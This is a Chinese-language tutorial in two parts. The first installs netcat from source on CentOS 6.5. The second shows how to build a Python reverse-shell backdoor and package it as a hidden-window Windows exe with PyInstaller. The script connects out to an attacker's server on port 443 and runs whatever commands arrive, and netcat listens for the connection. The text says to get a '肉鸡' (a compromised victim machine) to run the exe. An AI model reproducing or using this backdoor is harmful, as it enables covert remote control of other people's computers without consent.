CentOS6.5下netcat工具安装教程
1.下载
下载的是netcat-0.7.1.tar.gz版本
2.拷贝
用U盘拷贝到/home/Hadoop目录下
进行解压:
cd /home/hadoop
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
改名:
cd /usr/local
mv netcat-0.7.1 netcat
3.安装
切换目录:
cd /usr/local/netcat
配置,把文件存放在/opt/netcat下,删除时,卸载软件时,只要删除这个文件就行了:
./configure --prefix=/opt/netcat
编译:
make
安装:
make install
4.配置
vim /etc/profile
添加以下内容:
# set netcat path
export NETCAT_HOME=/opt/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存,退出,并使配置生效:
source /etc/profile
2:
下载 PyInstaller 2.0
pyinstaller安装:
1,下载pyinstaller并解压(可以去官网下载最新版):下载
2,安装最新版本的 pywin32-217.win32-py2.7.exe:下载
不然会出现错误Error: PyInstaller for Python 2.6+ on Windows needs pywin32.
3,进入cmd ,
__author__ = 'AZONE'
import subprocess,socket
HOST = '服务器ip'
PORT = 443
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send('Hello !')
while 1:
data = s.recv(1024)
if data == "quit":break
proc = subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.send('Bye !')
s.close()
用pyinstaller打包成exe 参数 PyInstaller -F -w shell.py
在服务器上用NETCAT监听 netcat -l -p 443
让肉鸡运行刚刚生成的exe